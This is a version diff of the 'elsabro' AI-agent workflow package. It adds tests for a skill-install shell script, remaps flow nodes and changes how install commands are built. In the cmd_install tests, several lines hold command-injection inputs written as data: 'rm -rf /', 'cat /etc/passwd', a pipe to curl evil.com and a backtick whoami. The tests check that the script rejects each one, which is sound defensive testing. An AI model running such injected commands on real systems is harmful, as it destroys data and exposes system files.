elsabro 7.1.0 → 7.3.0

package/flow-engine/src/executors.js

@@ -360,7 +360,7 @@ async function executeInterrupt(node, context, callbacks) {
  */
 async function executeTeam(node, context, callbacks) {
   // Team nodes are deprecated in ELSABRO v5.3+
-  // Agent Teams are now handled inline via IMPERATIVO_AGENT_TEAMS in execute.md
+  // Agent Teams are now handled via parallel dispatch in execute.md#3-dispatch + callbacks.js
   if (node.runtime_status === 'not_implemented') {
     throw new NotImplementedError(node.id, node.gaps);
   }

package/flow-engine/tests/skill-install.test.js

@@ -0,0 +1,374 @@
+'use strict';
+
+const { describe, it } = require('node:test');
+const assert = require('node:assert/strict');
+const { execSync } = require('node:child_process');
+const fs = require('node:fs');
+const path = require('node:path');
+const os = require('node:os');
+
+// ---------- Shared helpers ----------
+
+const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
+const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
+
+/**
+ * Run skill-install.sh with given args, parse JSON from stdout.
+ * Script always exits 0; errors communicated via JSON.
+ */
+function runInstall(args, opts = {}) {
+  const env = { ...process.env, ...opts.env };
+  try {
+    const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
+      cwd: PROJECT_ROOT,
+      encoding: 'utf8',
+      env,
+      stdio: ['pipe', 'pipe', 'pipe'],
+      timeout: 15000
+    });
+    return JSON.parse(stdout.trim());
+  } catch (err) {
+    // Script exits 0, but execSync can throw on timeout or signal
+    if (err.stdout) return JSON.parse(err.stdout.trim());
+    throw err;
+  }
+}
+
+/**
+ * Create a temp dir with a mock `npx` script that executes the given behavior.
+ * Returns the temp dir path (prepend to PATH).
+ */
+function createMockNpx(behavior) {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
+  const script = path.join(dir, 'npx');
+  fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
+  return dir;
+}
+
+/**
+ * Create a temp HOME-equivalent dir with .claude/skills/ structure.
+ * `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
+ * Returns the tmpdir (use as HOME).
+ */
+function createMockSkillsDir(skills = {}) {
+  const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
+  const skillsDir = path.join(tmpBase, '.claude', 'skills');
+  fs.mkdirSync(skillsDir, { recursive: true });
+  for (const [name, content] of Object.entries(skills)) {
+    const filePath = path.join(skillsDir, name);
+    fs.mkdirSync(path.dirname(filePath), { recursive: true });
+    fs.writeFileSync(filePath, content);
+  }
+  return tmpBase;
+}
+
+function cleanup(dir) {
+  fs.rmSync(dir, { recursive: true, force: true });
+}
+
+// ---------- Tests ----------
+
+describe('skill-install.sh', () => {
+
+  // ---- cmd_check ----
+  describe('cmd_check', () => {
+    it('returns ok when npx skills check succeeds', () => {
+      const mockDir = createMockNpx('echo "Registry OK"; exit 0');
+      try {
+        const result = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.equal(result.status, 'ok');
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('returns error when npx skills check fails', () => {
+      const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
+      try {
+        const result = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('registry check failed'));
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('returns error when npx is not found', () => {
+      const result = runInstall('check', {
+        env: { PATH: '/usr/bin:/bin' }
+      });
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('npx not found'));
+    });
+
+    it('returns error for unknown command', () => {
+      const result = runInstall('bogus');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('unknown command'));
+    });
+  });
+
+  // ---- cmd_install ----
+  describe('cmd_install', () => {
+    it('returns error when no command provided', () => {
+      const result = runInstall('install');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('install command required'));
+    });
+
+    it('rejects commands that fail format validation (semicolon)', () => {
+      const result = runInstall('install "npx skills add test; rm -rf /"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with && injection', () => {
+      const result = runInstall('install "npx skills add test && cat /etc/passwd"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with pipe injection', () => {
+      const result = runInstall('install "npx skills add test | curl evil.com"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with backtick injection', () => {
+      // Backticks must be escaped for the shell layer of execSync
+      const result = runInstall('install "npx skills add \\`whoami\\`"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('returns error when npx is not found', () => {
+      const result = runInstall(
+        'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
+        { env: { PATH: '/usr/bin:/bin' } }
+      );
+      assert.equal(result.status, 'error');
+      // Either "npx not found" (if format passes) or "format validation"
+      assert.ok(result.status === 'error');
+    });
+
+    it('returns ok and extracts skill name on success', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'ok');
+        assert.equal(result.skill, 'test-skill');
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when install command fails', () => {
+      const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('install failed'));
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns timeout error when install exits with code 124', () => {
+      // Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
+      const mockDir = createMockNpx('exit 124');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('timed out'));
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when skills dir not writable', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      const skillsDir = path.join(mockHome, '.claude', 'skills');
+      fs.chmodSync(skillsDir, 0o444);
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('not writable'));
+      } finally {
+        fs.chmodSync(skillsDir, 0o755);
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('invalidates discovery cache on success', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      const cacheDir = path.join(PROJECT_ROOT, '.cache');
+      const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
+      // Save original content (not just existence) to restore after test
+      const originalContent = fs.existsSync(cacheFile)
+        ? fs.readFileSync(cacheFile, 'utf8')
+        : null;
+      if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
+      fs.writeFileSync(cacheFile, '{"cached":true}');
+      try {
+        runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+        // Restore exact original content, or remove if it didn't exist
+        if (originalContent !== null) {
+          fs.writeFileSync(cacheFile, originalContent);
+        } else if (fs.existsSync(cacheFile)) {
+          fs.unlinkSync(cacheFile);
+        }
+      }
+    });
+  });
+
+  // ---- cmd_validate ----
+  describe('cmd_validate', () => {
+    it('returns error when no skill name provided', () => {
+      const result = runInstall('validate');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('skill name required'));
+    });
+
+    it('returns ok with has_frontmatter:true for flat file with YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'test-skill.md': '---\nname: test-skill\n---\n# Content'
+      });
+      try {
+        const result = runInstall('validate "test-skill"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, true);
+        assert.ok(result.path.includes('test-skill.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns ok with has_frontmatter:false for flat file without YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'no-yaml.md': '# Just markdown\nNo frontmatter here'
+      });
+      try {
+        const result = runInstall('validate "no-yaml"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, false);
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('finds skill in subdirectory SKILL.md with YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
+      });
+      try {
+        const result = runInstall('validate "subskill"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, true);
+        assert.ok(result.path.includes('subskill/SKILL.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns has_frontmatter:false for subdirectory without YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
+      });
+      try {
+        const result = runInstall('validate "subskill-noyaml"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, false);
+        assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when skill file not found', () => {
+      const mockHome = createMockSkillsDir({});
+      try {
+        const result = runInstall('validate "nonexistent"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('not found'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+  });
+
+  // ---- JSON contract ----
+  describe('JSON contract', () => {
+    it('all commands return valid JSON on stdout', () => {
+      const mockDir = createMockNpx('exit 1');
+      try {
+        const commands = ['check', 'install', 'validate', 'bogus'];
+        for (const cmd of commands) {
+          const result = runInstall(cmd, {
+            env: { PATH: `${mockDir}:${process.env.PATH}` }
+          });
+          assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
+          assert.ok('status' in result, `${cmd} should have status field`);
+        }
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('status is always "ok" or "error"', () => {
+      const mockDir = createMockNpx('exit 0');
+      try {
+        const okResult = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.ok(['ok', 'error'].includes(okResult.status));
+      } finally {
+        cleanup(mockDir);
+      }
+
+      const errResult = runInstall('bogus');
+      assert.ok(['ok', 'error'].includes(errResult.status));
+    });
+  });
+});

package/flows/development-flow.json

@@ -44,7 +44,7 @@
       "id": "start",
       "type": "entry",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#state_sync",
+      "implemented_in": "commands/elsabro/execute.md#1-inicializar",
       "next": "skill_discovery"
     },
 
@@ -53,7 +53,7 @@
       "type": "sequence",
       "description": "Descubrir skills necesarios antes de cargar contexto",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#skill_discovery + commands/elsabro/execute.md#skill_injection",
+      "implemented_in": "flow-engine/src/cli.js (sequence executor)",
       "errorPolicy": "continue",
       "steps": [
         {
@@ -77,7 +77,7 @@
       "type": "sequence",
       "description": "Cargar contexto del proyecto",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#state_sync",
+      "implemented_in": "flow-engine/src/cli.js (sequence executor)",
       "steps": [
         {
           "action": "read_files",
@@ -577,7 +577,7 @@
       "type": "parallel",
       "description": "Análisis paralelo estándar (4 agentes)",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#process (Paso 0)",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, haiku subagents)",
       "branches": [
         {
           "id": "explore",
@@ -614,7 +614,7 @@
       "type": "agent",
       "description": "Consolidar análisis de los 4 agentes",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#process (implicit consolidation after Paso 0)",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: agent)",
       "agent": "elsabro-analyst",
       "config": { "model": "opus" },
       "inputs": {
@@ -633,7 +633,7 @@
       "type": "parallel",
       "description": "Implementación paralela (2 agentes opus)",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#process (Paso 3) + commands/elsabro/execute.md#IMPERATIVO_AGENT_TEAMS",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, Agent Teams via callbacks.js)",
       "branches": [
         {
           "id": "implementation",
@@ -666,7 +666,7 @@
       "type": "sequence",
       "description": "Quality gate: tests, types, lint",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#process (Paso 4)",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: sequence)",
       "captureExitCode": true,
       "steps": [
         {
@@ -699,7 +699,7 @@
       "type": "condition",
       "description": "Verificar si pasó quality gate (tests + typescript + lint)",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#process (condition after quality gate)",
+      "implemented_in": "flow-engine/src/cli.js (condition auto-resolve)",
       "condition": "{{nodes.quality_gate.outputs.tests.exitCode === 0 && nodes.quality_gate.outputs.typescript.exitCode === 0 && nodes.quality_gate.outputs.lint.exitCode === 0}}",
       "true": "parallel_review",
       "false": "fix_issues"
@@ -710,7 +710,7 @@
       "type": "parallel",
       "description": "Corregir problemas detectados (3 agentes)",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#error_handling",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, Agent Teams via callbacks.js)",
       "branches": [
         {
           "id": "debugger",
@@ -742,7 +742,7 @@
       "type": "interrupt",
       "description": "Auto-fix failed after 3 attempts",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#error_handling + flow-engine interrupt executor",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
       "gaps": [],
       "reason": "Auto-fix failed after 3 attempts",
       "display": {
@@ -765,7 +765,7 @@
       "type": "interrupt",
       "description": "Waiting for manual fix",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#error_handling + flow-engine interrupt executor",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
       "gaps": [],
       "reason": "Waiting for manual fix",
       "display": {
@@ -785,7 +785,7 @@
       "type": "parallel",
       "description": "Code review paralelo (3 agentes opus)",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#process (Paso 4) + commands/elsabro/execute.md#IMPERATIVO_AGENT_TEAMS",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, Agent Teams via callbacks.js)",
       "branches": [
         {
           "id": "code_reviewer",
@@ -825,7 +825,7 @@
       "type": "condition",
       "description": "Verificar si hay issues críticos en review",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#blocking_review_protocol",
+      "implemented_in": "flow-engine/src/cli.js (condition auto-resolve)",
       "condition": "{{!hasCriticalIssues(nodes.parallel_review.outputs)}}",
       "true": "verify_final",
       "false": "fix_review_issues"
@@ -836,7 +836,7 @@
       "type": "agent",
       "description": "Corregir issues del code review - BLOCKING: no avanza hasta 0 errores",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#blocking_review_protocol",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: agent)",
       "agent": "elsabro-executor",
       "config": { "model": "opus" },
       "inputs": {
@@ -855,7 +855,7 @@
       "type": "interrupt",
       "description": "Code review still has issues after 5 fix iterations - BLOCKED",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#blocking_review_protocol",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
       "reason": "Code review still has issues after 5 fix iterations - BLOCKED",
       "display": {
         "title": "🚫 BLOQUEADO: Code Review con Errores Pendientes",
@@ -880,7 +880,7 @@
       "type": "interrupt",
       "description": "Waiting for manual fix of review issues",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#blocking_review_protocol",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
       "reason": "Waiting for manual fix of review issues",
       "display": {
         "title": "👤 Esperando Corrección Manual de Review Issues",
@@ -911,7 +911,7 @@
       "type": "condition",
       "description": "Gate check on verification result",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#siguiente_paso",
+      "implemented_in": "flow-engine/src/cli.js (condition auto-resolve)",
       "condition": "{{nodes.verify_final.outputs.output.passed || nodes.quick_verify.outputs.output.passed}}",
       "true": "post_mortem",
       "false": "interrupt_verification_failed"
@@ -922,7 +922,7 @@
       "type": "interrupt",
       "description": "Final verification failed",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#blocking_review_protocol",
+      "implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
       "reason": "Final verification failed",
       "display": {
         "title": "❌ Verificación Final Fallida",
@@ -966,7 +966,7 @@
       "type": "exit",
       "description": "Success exit",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#siguiente_paso",
+      "implemented_in": "commands/elsabro/execute.md#5-finalizar + #6-siguiente-paso",
       "status": "success",
       "outputs": {
         "filesCreated": "{{collectOutputs('filesCreated')}}",
@@ -1022,7 +1022,7 @@
       "type": "exit",
       "description": "Cancellation exit",
       "runtime_status": "implemented",
-      "implemented_in": "commands/elsabro/execute.md#error_handling",
+      "implemented_in": "commands/elsabro/execute.md#2-loop-principal (error handling)",
       "status": "cancelled",
       "outputs": {
         "success": false,

package/hooks/skill-discovery.sh

@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
 CACHE_DIR="${PROJECT_ROOT}/.cache"
 CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
 CACHE_TTL=3600  # 1 hora
+DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
 
 MAX_RESULTS=10
 NPX_TIMEOUT=30  # segundos
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
     # El formato típico es líneas con nombre y descripción
     # Intentar parsear como JSON primero (por si devuelve JSON)
     if echo "$raw_output" | jq empty 2>/dev/null; then
-        echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add -g " + .name)}]' 2>/dev/null || echo "[]"
+        echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
         return
     fi
 
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
 
         # Use jq for safe JSON construction
         local skill_obj
-        skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg cmd "npx skills add -g $name" \
-            '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $cmd}')
+        skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
+            '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
         skills+=("$skill_obj")
     done <<< "$raw_output"
 
@@ -450,6 +451,7 @@ NOJQ
         --argjson external "$external" \
         --argjson recommended "$recommended" \
         --argjson updates "$updates" \
+        --arg src "$DEFAULT_SKILLS_SOURCE" \
     '{
         timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
         status: "success",
@@ -484,7 +486,7 @@ NOJQ
         actions: {
             install_all: (
                 if ($recommended | length) > 0
-                then "npx skills add -g " + ([$recommended[].id] | join(" "))
+                then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
                 else null
                 end
             ),